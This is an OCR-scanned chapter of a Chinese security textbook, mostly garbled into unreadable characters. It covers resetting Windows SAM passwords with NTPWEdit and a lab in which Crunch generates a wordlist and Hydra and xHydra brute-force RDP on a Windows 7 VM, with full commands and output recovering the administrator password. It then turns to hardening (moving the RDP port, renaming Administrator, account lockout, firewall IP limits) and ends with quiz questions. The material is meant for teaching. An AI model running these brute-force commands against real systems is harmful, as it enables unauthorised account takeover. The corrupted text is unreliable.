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| Boot Option #1
Boot Option #2
Boot Option #3

32 BBEUEBANE—RBHEE
(3) THERIFEH Y,
A EHL N U £ Windows PE R4t dh ), % 2 % 1575 Bk T2 NTPWEdit )53
gh., AL SAM SRR AR B A 3h# 3k C.\ Windows\ System32\ config\ SAM, 55 85 “37 JF 7 4%
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PRAFE S IT 75 20, BTV B SAM SO rf i) TH 25 5 51 A U % 15, an &l 3-3 FTs .

B8 NTPWEdit 0.6 (64-bit) :
SAM UG e
[c: \MNDOWS\SYSTEMaz\CONF[G\SAM |]
iilai=3 =
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503 DefaultAccount
501 Guest

504 WDAGUtilityAccount FisxEhT & R EBER,
i BEEA N FREEAFERENE.
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NTPWEdit 0.6 (64-bit)

& 3-3 {&F NTPWEdit E & Windows f A %75
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(1) ERE AL (Remote Desktop Protocol, RDP) J& F T i #2 12 il & 6 % i 47 1Y |
fEZ — . & T RZ % Windows RS, il i $2 4L K8 J] ) Ui, s i P #2050 IR 55
ot AT AL . Windows 2 2 51 1134 6 H RDP i, BOAfEH TCP 3389 3 H .

(2) Hydra J&— 31 I8 1% 2 7 i fig %5 5% T 2 76 Kali Linux F2BONZRM, /T LIX £
ol 1) 24 e 95 1) WK 5 R 3 i iR A7 G AR A ) W . Hiydra SCHRFRY4S Il 55 5L A SMB.RDP
SSH.FTP.POP3,Telnet ,MySQL %,

(3) Crunch J&—> 01t 2% % 5 Sy T 5., 4% BEE 5 0 R0 00 26 i % %7 it . i Crunch
TR R A AT L 3 B R AR B SO — AR, B SR R B A T
89 FH P 28 VR A o o 2 ) AR LD ) AR AR A
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(D Hifitl.

EHIHL VMware Workstation 15. 5+ Kali Linux 2021, W Z&ZE R NAT £#5=, 1P b
hkA 192,168, 88.129/24,

(2) B,

FEFUHL+ Windows 7, 453 2208 Fl NAT £2X, 1P Huhik >4 192, 168. 88. 130/24, I ' 44
N administrator, 2% 4 996,

5. LIEHFE
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(D) B IASEHLIF i o 2 8 1 AR 55 .
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(2) ffi /] Crunch #i4f A 45330,

18 Kali i 454 crunch 3 3 1234567890 -0 /usr/share/wordlists/digit3. txt, BIA] 4=
W — AL 3 ALK 3 AL LA R ECF Y 1000 A F AT, /I 000,001, 04,998,999,
P S IER A SRS 996, By Y i S Ly /usr/share/wordlists/digit3. txt 3CAS X4, & A4
H4 s —47 . i 3-5 BR

~

: 3 3 123&56?390 /usr/share/wordlists/digit3.txt |
Crum:h “will now generate the following amount of data: 4000 bytes
@2 MB
0 GB
0 TB
@ PB
Crunch will now generate the following number of lines: 1000

crunch: 100% completed generating output

| 4 Jusr/sharefwordlists/digit3.txt - Mousepad = 4
MPF(F) HRIR(E) $RER(S) MEA(V) (D) HEENH)
EE BEEERrootl P, BURSATSEHRAR,

991
992
993
994
995
996
997
998
999|

B 3-5 {#A Crunch $lEO0<$ x4
Crunch BB RIEEEWT .,

# crunch min — len max — len [ charset string ] [options]

Crunch LN EZEZSHMT .

* min-len, D4 HKEKE,

* max-len, D& HKKEKE,

* charset string, 02 i & ) F /£, 2 FAE T HE L. @A A Crunch B4 1)
charset. Ist SCIF A &80T K/NE A6 VRRIR 4045 5 0 AP SR W 3-6 I

o o Ha i LA

2) Hif

(D i /] Hydra(g 247 T2 7)) #0472 07 B

BT e M P 4 & administrator, A I HR5 22 00 52 A% i %5 8% BD AT, i FH 4y 4 hydra
192.168. 88. 130 rdp -1 administrator -P /usr/share/wordlists/digit3. txt -V, B U8 ff 4 1F
i A% 996, AN 3-7 FrR .

Hydra B4 ik XUF

# hydra [[[ — 1 LOGIN| — L FILE] [ — p PASS| —P FILE]] | [ - C FILE]] [ — e ns]
[ —oFILE] [ -t TASKS] [ —M FILE [ — T TASKS]] [ —w TIME] [ —£] [ —s PORT] [ - S] [ — wV]
server service [OPT]
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hex-lower = [0123456789abcdef]
hex-upper = [0123456789ABCDEF]
numeric = [0123456789]

numeric-space [0123456789 ]

symbolsis = [1ansses()-_+=]
symbols14-space = [1ansnte+()-_+= ]
symbols-all = [1anssen()-_+=="[1{}\:;"' 2, 2/]
symbols-all-space = [l1anss e ()-_+=="[1{}|\:;"' 2,2/ ]

[ABCDEFGHT JKLMNOPQRSTUVWXYZ]

[ABCDEFGHI JKLMNOPQRSTUVWXYZ ]

[ ABCDEFGHT JKLMNOPQRSTUVWKYZ@123456789]

[ABCDEFGHI JKLMNOPQRSTUVIWXYZ0123456789 ]

[ ABCDEFGHI JKLMNOPQRSTUVWXYZO123456789 1g88% 6% ( )-_+=]
[ABCDEFGHI JKLMNOPQRSTUVIWXYZ0123456789 1 $% 6% ( )-_+= ]

[ ABCDEFGHI JKLMNOPORSTUVWXYZ0123456789 198% 6% ( )-_+=~"[1{}|\:;"' o, .2/]
[ ABCDEFGHT JKLMNOPQRSTUVIXYZ01234 56789 1a$5 6% ( )- _+=~"[1{}|\:;"' o, .2/ ]

ualpha

valpha-space

ualpha-numeric
ualpha-numeric-space
ualpha-numeric-symbolis
ualpha-numeric-symboll4-space
ualpha-numeric-all
valpha-numeric-all-space

wwowwwwwow

lalpha
lalpha-space

= [abcdefghijklmnopgrstuvwxyz]

= [abcdefghijklmnopgrstuvwxyz ]
lalpha-numeric = [abedefghijklmnopgrstuvwxyz0123456789]
lalpha-numeric-space = [abcdefghijklmnopgrstuvwxyz0123456789 ]
lalpha-numeric-symbol14 = [abedefghijklmnopqrstuvxyz0123456789 1 38$% 6%( )-_+=]
lalpha-numeric-symboll4-space = [abcdefghijklmnopqrstuvwxyz012345678918$% 6%()-_+= ]
lalpha-numeric-all = [abcdefghijklmnopqrstuvwxyz01234567891aa8% 6*( )-_+=~"[1{}|\:;"" <,.2/]
lalpha-numeric-all-space = [abcdefghijklmnopqrstuvwxyz0123456780!a$% ex()-_+=="[1{}|\:;"'2o,.2/ ]

mixalpha = [abedefghijklmnopqrstuvexyzABCDEFGHT JKLMNOPQRSTUVIWXYZ ]
mixalpha-space = [abedefghijklmnopqrstuvwxy zABCDEFGHI JKLMNOPQRSTUVWXYZ ]
mixalpha-numeric = [abcdefghi jkimnopqrstuvwxyzABCDEFGHT IKLMNOPORS TUVWXYZ0123456789]

& 3-6 Crunch B A charset. Ist X4 EH A B

{ hydra 192.168.88.130 rdp administrator u: h. dli digi xt -V
Hydra vO.1 (¢ y van 0 not use in mil1fary or secre
t service organizations, or for illegal purposes (this is non-binding, these **+ ignore laws an
d ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-98-19 14:02:59
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number
of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to reco
ver
[INFO] Reduced number of tasks to & (rdp does not like many parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1000 login tries (1l:1/p:1000), ~250 tries per
task
[DATA] attacking rdp://192.168.88.130:3389/-V
[STATUS] 204.90@ tries/min, 204 tries in @0:01h, 796 to do in @@:@4h, 4 active
[STATUS] 205.00 tries/min, 615 tries in 90:03h, 385 to do in 00:02h, & active
STATUS] 204.75 tries/min, 819 tries in 00:04h, 181 to do in 90:01h, & active
3389 )[rdp] host: 192.168.88.130 login: administrator password: 996
1 of 1 target successfully completed, 1 valld password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-08-19 14:07:20

3-7 EA Hydra(G TITREF) N EREWHITR BB

Hydra (LB ESEANT .

server, H¥n 1P,

-s <PORT >, i AR BRIA 5 1T,

-1 < LOGIN >, 48 % ¢ & F P 24 i i .

-L <FILE >, g r 4 54,

-p < PASS >, #8 % T 22 %5 05 A

-P <FILE >, #5544,

-C <FILE >.ffi FHH B Z /- Bt U 8 b 4 387 R E-L/-P 340
-S. R SSL # %,

-0 < FILE >, 4 5& &5 Al th SCfF

-t <TASKS >, ¥ & [ iz 17 2 B4 Bl ok 16,
-w < TIME >, & & fie JOE B B[], BRIk 30s,

O4%ps 49
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o —v/-V, BIRTELNT R

* service, ff E K554 .

51 G, T 2R 9 () B X FH P 44 N A AT 2% AR, T LA Ye T Crunch B E — AP 44
Fiit user. txt, FEH M Hydra 474 hydra 192. 168. 88. 130 rdp -L /usr/share/wordlists/
user. txt -P /usr/share/wordlists/digit3. txt -V #4700 .

(2) i x-Hydra(FEAL F TR 617 2 J1 B

FT Hydra, 78 x-Hydra P05 288 H AR 1P 3 PR SE A ] 44 0 8% i ok
PRSI 3-8 P .

'] xHydra £ xHydra
@ iBa) R
P :
Target Passwords Tuning Specific Start Terget Fasswords Tuning. Specic. Start
Username
Target -
r — — —_ _— — 1 #® Username administrator
® Single Target 192.168.88,130‘
Username List
Target List
Loop around users Protocol does not require userna
p
Prefer IPV6 assward
1 Password yourpass
[ Port 3389 |
| ® Password List .!refwordlistslfd]gitlulI
| Protocol rdp | Generate 11a
(a) P EBRIP < B~ IR (b) WELHI T FRU - BAAN
L4 xHydra - 0 X
8 Q)

Target Passwords Tuning Specific Start

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-08-19 15:04:22
[STATUS] 204.00 tries/min, 204 tries in 00:01h, 796 to do in 00:04h, 4 active
[STATUS] 206.33 tries/min, 619 tries in 00:03h, 381 to do in 00:02h, 4 active
[STATUS] 206.50 tries/min, 826 tries in 00:04h, 174 to doin 00:01h, 4 active
[3389][rdp] host: 192.168.88.130 login: administrator password: 996

1 of 1 target successfully completed, 1 valid password found

Hydra (https:/fgithub.com/vanhauser-thc/thc-hydra) finished at 2022-08-19 15:08:51
<finished>

Start Stop Save Output Clear Qutput

hydra -s 3389 -ladministrator -P fusr/share /wordlists/digit3.txt -t 16 192.168.88.130 rdp
(c) ol ieas
3-8 {EA x-Hydra(BEIR U REREF) X B R W ITHE N BR

(3) BRIk,

6 ] s o T R T S AR HL L AN 3-9 B,
| TCRRSRE
o g

B 192.168.88.130 - il mER

w
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(1) B4R XL 2 5 S W% Windows ¥ FE 55 1 FH P (14 B A8 )7 1
(2) {41045 BF i) B B,

2. IBEFEEX

(1) HE5m F A58 B I s 4,

(2) B Windows IEF2 52 f RDP #K ki H .

(3) WNhNZE 45w . 25 1 Administrator W F 78 B2 5 5%, I8 52 2 OB S5 88 1 1 A9 Tk 7
(4) B8 Windows RS8B4 By ki, R ok U7 TP Hudik

3. TWHFEEHFKK)

(1) 2 305 fif BT — A 10 H8 2% PR J2 A A 1 11 4 - B0l R B B 78 35 IE 0 i 11 4
it ,/\%D TR RBKME S, DA FHARERIIZ 04 Rk f . B
2 04 5 MURE AT o5 3% 1 4 s B T e Isf ) A2 8 K 38 O T 10 4 00 O 8 g s ) A 0 e
Ijjm‘ifzﬁ?;

(2) Windows it 8 5 1 7% 4% i ] RDP, BN H] TCP 3389 ¥ . &4 RDP ¥R iAo H
S —ANBE Az S NMAP 22 28 0 4 4 45 vT BB izt 11 3808 43 4 ot 11 ) T8
F W7 R 95 2570, Hydra 2 28 R % T BB JE 7k 2 i RDP fiff (9 9 11,

(3) 7F Windows %2 KM & T, % 'E Windows 78 T2 5 [ 2 W8 55 243 R By o g
B L4 5% 7 18 it

(4) £ Windows R4 [ 7 B Kk 5% o BR il #2157 1P ik .

4. KB/ NFEEREEZH

(1) Zridi#l,

I VMware Workstation 15. 5+ Kali Linux 2021, £ $208 ] NAT fE
(2) HHL.

HEAUBL+ Windows 7. W45 H 8 H] NAT #ia,

5. LR

MRAE T IAT: 55 BOK L, S8 LA T 4 AT 55 43 0l 0 - A8 BT P 25 8 o i 285 1, K R AL 1Y
RDP #iA v 0 3389 & oo a Hofth v 10, B AN 22 2 55 W% DA 2% [ Administrator W /7 3o FE 5 55 F
B R R S R I (L K, T B i DA BRI e 2ok U7 TP Skl . R AR U 2o S 5% S )
AL 4 MRS .

D BB 25 o s

AL R P SR A O Bt 14 07 R L 3 RN B BCE R R AT
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2) F5HLHLEY RDP RN T 3389 &tk o HoAth i 11

(1) 1847 cmd fiv 4 iE A TEM R 48 4% . OF A R0 F WA A2

« HKEY LOCAL_ MACHINE\ SYSTEM\ CurrentControlSet \ Control\ Terminal
Server\Wds\rdpwd\ Tds\tcp

« HKEY LOCAL_ MACHINE\ SYSTEM\ CurrentControlSet \ Control\ Terminal
Server\ WinStations\RDP-Tcp

FEN P PortNumber 5 7F 17 g 48, 3275 HBRIA 12 i o 17 % 3389 el by B A= 3y 11 45

(W1 56789) A& 3-10 Fr7R o TERE, Mo ZEE S SR AL

SLUH(F) RAB(E) (V) WERA) ENH) B DWOID ol
» b VIDEO = £ el e e
4 ) Wds 28)(BEA FEEFHWN
4 L rdpwd | 23imnter. PortNumber
bW Pds || sout. ElEsEE (V) xEy
& Tfst '-?ﬂouxg 56789 @+ 6
iR |8 @ R (
4 | WinStations ig:’):él \ @) +i&#l (D)
v ). Console ) .
4 ). RDP-Tcp a]pdDL, ez ][ ®#_]
k. TSMMRem(g] | BIPdFle .
). TimeZonelnformatior || 28]PdName REG_SZ tep |
b ). usbflags .fyﬂPorINumber REG_DWORD 0x00000d3d{3389}l
b Ju usbstor ~ || a¥RequiredPds  REG_MULTISZ lssecsrv =
] [ | G |l . | b
F.-I—ﬁm\HKEY_LOCAL_MAClﬂNE\SYSTEM\CurrentControISet\Ccntrol\Te?ninal Server\Wds\rdpwd\Tds\tcp I
(a) {Z i PortNumberfi {1
P— =Tew

SCHHE) RAR(E) ER(Y) BESA) HH)
v b VIDEO A'_gﬁ. P
4 | Wds $PdCl FEEFHEN:
4 L rdpwd $3Pdcl PortNumber
- Pds |pdDl, RN : x5
“ % Tldstc abPdDL| 56759 ) iRl ()
a ) WinSlat-ian FPdFl; @ -+iE# (D)
2 el PdF1g
v b Console ) -
4}, RDP-Tcp 24PNz Cee ][ m#&_|
b TSMMRem¢g)| 21PN
). TimeZonelnformation 3b|Policyloadabl... REG_SZ {183?2GBB—€-FE6-4FBS"='T
b usbflags i PortNumber REG_DWORD 0x00000d3d {3389)'
> -J. usbstor = || #8|Securitylayer  REG_DWORD 0x00000001 (1) -
¢ | [ | » I Tg —— [ | I
IiTﬂﬁ'L\HKEY_[OCAL_MACI-[[NE\SYSTEM\CurrenthntrolSet\Cantml\Te;nina! Server\WinStations\RDP-Tep [
(b) & PortNumber{{2

B 3-10 7E5EM KR IE% RDP B E A PortNumber 8 &

TERRALHH ] AT 4 netstat -ano 5 F A ML i%E 35 IR JE LISTENING 1Y 4 db b bk o i
PL0.0.0.0:56789, WA 3-11 /R, S FHERT M 0.0. 0. 0:3389, A KB M58 K.

T2 RDP BRiA s S8 MR TG A 50 T 3% 42 7% e 10 U5 ) SE AL, 75 27 1158
ML H A “TP bk 3% 1057, 1192, 168. 88. 130:56789”, 75 N A BE 1F # & 4% .

(2) ffi /] NMAP H# &5 X K3 58 AL RDP ik 55 B A TCP 3 H

@ i NMAP 474 nmap -sS 192. 168. 88. 130 A # AL, th T TCP 3 [1 56789 A&
NMAP BRIAFHHEE) 1000 A% Flum 02— I E AR 2] 56789 i 1 FFIL .

@ i [l NMAP 54 nmap -sS -p 1-65535 192. 168. 88. 130 A #EHL A FT A TCP i
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C:\Users\Administrator>netstat -ano

iEThiER
I b b ShERHhhE s PID
TCP 9.0.0.0:81 0.0.0.0:0 LISTENING y
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 656
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:4466 0.0.0.0:0 LISTENING 4068
ICP 0,1 0;8908 0.8 M) LISTENING, 4068
TCP 0. 56789 9.6.0.0:0 LISTENING B4O
TCP V27.0.0.1:61078 §.0.6.6:0 TISTENING 1560
TCP 192. .88.1308:139 0.0.0.0:0 LISTENING Y
TCP 192. .88.130:1038 106.11.40.57:80 CLOSE_WAIT 3184
TCP 192. .88.130:1096 106.11.43.246:80 CLOSE_WAIT 3064

B 3-11 FERNFEFMEKERE

ML e ) 56789 siw 1T il . 4B J2 /R %3 1 A9 SERVICE 265 unknown, W& 3-12(a)
Fis

@ ffi i NMAP 44 nmap -sV -p 56789 192. 168. 88. 130 H ¥ AL TCP ¥ [
56789, {HJ& /R %35 Y SERVICE 2654 ssl/unknown, WK 3-12(b) /R .

o ~ g Z

[nmap 1-65535 192.168.68.130 | | 56789 192.168.88.130 |
Starting Nmap 7.91 ( https://nmap.org ) at Start1ng Nmap 7.91 ( https://nmap.org ) at
Nmap scan report for 192.168.88.130 Nmap scan report for 192.168.88.130
Host is up (0.000665 latency). Host is up (0.00052s latency).
Not shown: 65524 closed ports
PORT STATE SERVICE PORT STATE SERVICE VERSION
81/tcp open hosts2-ns E55?89/tcp open ssl/unknown |
135/tcp open msrpc MAC Address: 00:0C:29:2C:70:1D (VMware)
139/tcp open netbios-ssn
445/tcp open microsoft-ds Service detection performed. Please report
56780/tcp open unknown Nmap done: 1 IP address (1 host up) scannec
MAC Address: 00:0C:20:9C:70:1D (VMware)

(a) hibori 138 unknown (b) Sdorsui 1245980 Fgssl/unknown
B 3-12 £/ NMAP H# 5 F TCP56789 i O R F LB F R

Fe #EAL A RDP BRI 11 3389 & 2y B B 3 11 56789 J& » kA T NMAP 14 & PR 1
i 2 3389 ¥y L MM T Bty 0 B Az 3 11 56789 IR 55 28 YA S Wi X

3) US4 LIAE 1 Administrator T P 0 B8 s RN E S ISR S 18 (1Y) Tk

(1) 2% 1F Administrator I g FE & 5% .

MELHL b FF SRS Windows i F2 5 M Ik 55 B » Administrator K P2 BN B A U5 B AR .
A% |- Administrator I & S0 H B9E A, — & BRI F B35 Administrator Mk
FUR A AT R TR s R B R O ok Y K P SR S AU IE Administrator
AL

TEREALT I 4T gpedit. msc 2 56 W 9 45 28 F2 7 ﬁi{}\J_?x“l‘l“%;mmﬁ”»“wmdows 7w
B AT A M SR ] P A BR A BC > A4 5 g e R R T IR 5% R SR T I L X
di g B E B Administrator AP WA 3-13 iR,

(2) %t4E Administrator i P13 & 0K P8 5% I .

PRI B> Windows & &7 % 21 E "~ K 7 IR0 ”— Ik 7 81 3R
W7 e T, AT 3 I P SR ) RO B AR 3-14 PR .
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0 P B BE B SR 3 IR C— B 10 WA D TERICE 55 ) R G 32 7R ik 7 8 B ) 2
B HEBUE 30 4B, 1 IR P BIUE THECE S el R @ U 30 Ar Bl 2 S IniEl 3-15 TR,
I DR AE B 8 I 5 AL .

(3) WhE I,

TERRAL I M — A8 P douniwan, BRIAZE SR JE T Users 41, W0 B0 Af LUK H i 8
R8T Administrators 40, WiZH P A 3 B A G FE 8 kAR, an &l 3-16 iR .

(4) BRUEHT I 2 IO DR 8 S I e .
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3-17 WRPHEPE

4) BEHLHF 3 Windows Bl k3 Jf BR il i & 2k 7 1P b bl

(1) FESEHLrp 2 5 AR M 2 42 (i FH A T 45 2 8

fE Windows 7 H1 A 3 Fft [ 2% 28 1Y, 43 51 I 52 2 I 2% . T A 0 4 R FH I 4%, 78 R 42 h
A EATARIE G AT E . EM G BT AR S E BT A MR, El 3-18
i

B EARE eGSR i
g Pl 7 inlEEER:  IAEEER Internet
eglles
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(2) ZERALT IS Windows Bij ik,

1t Windows B JCH& 0, %5 28 F 2% 08 7 ki, 1508 % 7 300 BB i i Windows Blj K
Bl B PR R S T E T AR R R 81 3R gl b R A T R 3-19 s, R
RS ONAE S R W s AT O — R AL 4k B R s T R R S
mstsc. exe, A2 EIAE C:\Windows\System32,

(3) FERLHLH B A sl KL I Fo 9 3 11 56789 BEH IE W ML A U 7]

Hdi Windows Bl i A o G 7S B, FRAR U BT A il 0 00 A AL D) 7 gk 0 i
PERLIN S Sy i 17, A& 3-20 FITR

SR TE PR AN 3 11 H B TCP 3 11, 75 45 22 45 o v 11 b g A 56789, I ff 135 BRIA 1B %
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W Windows s
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Wik [ 3-22 A 456789 i T AR, BT R T R CAE T, P4 AS b TP
Hodik 7« B2 1P M bk A R IAE . T SERHL 1P Hudk 192, 168. 2. 10/24 550 AL 1P kit
192.168.88.130/24 J& T AR P Bt , R ML £ “ i f2 1P sk 728 A Fp g “ R 30 1P k™, &

— AN W B B AR VR R U 9 TP ik A5 2 44 B, 40 222, 222, 222, 222, B A] A SR BLHE
BRAesh, i 3-24 iR,

WP EEE2 Windows B5IUR S6780GIIASS M _
L = N0 D ETMLTET PAEE DAL TTRILEAE P LT R LR
s 2@ =80 ) -

@ it tass [ o @ i IP HERFRO:|
PN wF @ & 1P BEN 227,770 000,229 |
- ?H?&ﬁlﬂlﬂ @5678980 A 15 @ T IP HhiE(T): APl: 192.168.0. 12
B iEEL SN | = 192. 168. 1
¥ @CrashReporter 31 e

@CrashReporter e 2002:9d3b:1a31:4:208:
Gikuacc — @ i IP HHEER):
@ikuacc iRk (R W(F) -
:mataunc:er =1 1P ik B
malauncher . - e
@malpdat G? O & IP B3 O W L EAMP) :
@maUpdat @ T I #EH: Bilm=E
@Pluginlnstaller L —
- @Plugininstaller —E
4| m v 4

3-24 FF/3 Windows B A SERTITIEFE IP it FE A B &

FRR M SARHL Windows Hb il T i o5t 11 e 2 5 B AL 2 105 i 20 2 Jm — LG E D1 e 2
iy AT 22 RV 1) BT JE P R R TG ER T L AL 3-25 R

W i

| IAESRE
" g

LHELC:  |192.168.88.130:56789 v

IR

° RS T L FRE — o BRI A
1) RS AR
2) IS RNE 2 raBh(H)
3) kit BHVERIES Lol B

B 3-25 FEEAH Windows A FlIT 2 R H 72 /7 L i5 EZ B

Ak S Y6 UE X Kt L Kali REREIR V5. T Kali R4¢ 1P #bhk 192, 168. 88.128/24 5
FEAHL TP Huhk 192. 168. 88. 130/ 24 J& T [F] — ] B o [ L AE “ A< o TP Mkt rp 45 i — 4> 74 i <4
Beiy HLAVEAR VTR TP Hhk ARk 1145 B4, 4 192, 168, 88. 88, RV ANH5 X i HLAY TP Hiu bk 3k Bk 76
Hh, TRl 3-26 iR .

R AE Kali 24cp i ] Hydra 52 hydra 192. 168. 88. 130 rdp -s 56789 -1 douniwan
-P/usr/share/wordlists/digit3. txt -v #4758 S %, Hh H-s 28038 ¥ 0 56789,-1 5L
2 E M P 4 douniwan, Hydra 2217245 R AW /8 “[ ERROR] freerdp: The connection
failed to establish. ™, W] JIJC % i 57 % 4, WIAT 3-27 Jiow .
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ﬁ‘” -2 Windows 5l

= a0 L BE "' T
e a— P
@ it E e PN F O

PN ] £ ]
@ FF 1P #4E(T):
:éﬁig g | @S67BROIA 152, 166,56, 88 0 ]
eking HL @CrashReporter i ikl
@ CrashReporter S|, |
@ikuacc [
@ikuacc
@malauncher & IF ik
@malauncher £ 1P MhE(Y)
:maldp:a: ) FH IP #kkH):
maUpda S R :
232,922,222 22 "
OPIuglnInstaIIer R B
P [P Lo Gk (1). ..
.. B B )

3-26 FF /8 Windows Bi A EER X A3t IP st FE H B &

root@KaliRiver: ~ - o x
X IfF R B8 B

192 168 88.130 rdp

1 56789 douniwan
Hyd secre
t service organizations, or for illegal purposes (this is non-binding, these *** ignore laws an

d ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-08-23 00:35:27
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number
of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to reco
ver
[INFO] Reduced number of tasks to & (rdp does not like many parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max & tasks per 1 server, overall &4 tasks, 1000 login tries (1:1/p:1000), ~250 tries per
task
[DATA] attacking rdp://192.168.88.130:56789/-v
[ERROR] freerdp: The connection failed to establish.
[ERROR] freerdp: The connection failed to establish.
[ERROR] freerdp: The connection failed to establish.
[ERROR] freerdp: The connection failed to establish.
[ERROR] freerdp: The connection failed to establish.
[ERROR] freerdp: The connection failed to establish.
[ERROR] freerdp: The connection failed to establish.
[ERROR] freerdp: The connection failed to establish.
[ERROR] freerdp: The connection failed to establish.
[ERROR] freerdp: The connection failed to establish.
[ERROR] freerdp: The connection failed to establish.
ERROR] freerdp: The connection failed to establish.
STATUS] 16.80 tries/min, 16 tries in 00:81h, 993 to do in 01:03h, &4 active
ERROR] freerdp: The connection failed to establish.
[ERROR] freerdp: The connection failed to establish.
[ERROR] freerdp: The connection failed to establish.
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i T H Hydra K58 T H Crunch, 277 B0 A — 4> Fi 52 02 114 57 d 5 R 2 B AT 5 1E
#1004, BR T RDP 4h. Hydra i RETE L RO 1F 22 P28 LR 55 . 73 #b . Crunch i& BE QI 2
FE 5 5R ORN R G 1 A GE SCHEIN 7 B, A DGER Y 323 T 2058 S B

gL A T X I R ) Windows JEFE ST S B A 4 Fh 7 b E R
A Je i fm — B B2, 328 AR 23 4 R 18 75 v I ROR Rt 45 & A A,

BR A 20 14 A EOR B S BRAh A B BT 22 A 2 I s T i BN BRI R AR R AL
A sk A 55 114 L Y B A 11 sl A 2 R GE AT R — S A BT B 9 A 2 TR A A
JEER 1A Y Bt A5

—. EEE
1. ( ) S H ] B M AS B IR Y B 403 IAIE T 5K
A, 0% B. #8405 C. AR5 D. IR

2. ( ) A A RAR OB R ARG A R AETE M I — M AR B 7R T — O P
Z AR e e P R T E AN R Y

A, BE B. #h#& C. Windows D. Linux
3. ( ) WLt — PR T8 R A7 it 114 19 SO B8 s PR AR AR R 1T B0
A B B. 7E% C. 55 H% D. 7
4. ( ) Wit 2 Moy A — E S 45U ) E R R G A VB A SR
ABYd A4,
A B B. 7E4k C. A% D. it
5. WE RN A K/NG F8 BFE R TG A 202 R TR IR PR
A B B. 7E4k C. 514 D. it

6. ( YRS — A 4518 2 R — AN PEE Mt 23 A, B4 $8 3 fa] — K AR il g A
NIHEZR R F 1/2,

A. A B. 4= H C. ik D. 2%
7. 8 LR ARSI R 6 ALEUT AR C DR
A, 2 B. 10 C. 100 D. 1000

8. TEJEUG 14 WY SCHER L BN 1 [ 2 5 445 e B BE AL 745 5 J5 A= iR i A (L B ) 5
A HR SRR (€ ) T 3% AT DU G M IR BT X 114 19 2% ) s
A. B B. %k C. i D. #
0. B SR e KA IR v R W A ELAE A L ) Bk G A (H L ek
A. MD5 B. SHA-1 C. SHA-256 D. SHA-512



$£3% HLHB 61

10. Windows 10 2B 04 SAM SCEERH T ( YHUII A,
A. LM B. NTLM C. RSA D. ECC

=. HlE

HP T A 2 A8 1 TR] B B R N T 1A A5 Aif 1 ) BT AE 2% 1 B 1] (
7 (55 28) Wi 1 VA R IR AL 50K H 8 R BEFR T H 3 Ak 2B L (
R W Ay oRSORIE $8E 1) E RN AT R O (
Windows it 2 5 1f % 24 ] RDP, (
BT Windows 7t % 5 18 Al 55 BR A i 1 JS ah— 8 A SR iR IR 55 . (
. X Windows R 48 M4 HEAT B 2 B0y 19 J7 3602 65 114 SAM SO A 1 e 7 (1K 52
W3, (
7. 4 Windows RGIZATHF, 14 SAM U2 8E , LLBT 1k 8 A SCIF 2 TR
(
8. Windows ZEFE 5 Ml 1% 3 il 55 19 I 8 BOCH] R Rl A B MO Ry AL ;. ( )
9. 7E Windows 1, 8l & 2 WOER s YCEIOE 1 1 1 K 7 (9 5 i R i e a2 i mg . ( )
10. 7€ Windows H 7 B S5 8000 v, bz 72 TP Hiuchik o] fiff B 1 4 B0 A 2 B 44 50
( )

D Ul e W DN
~ O~

~

~



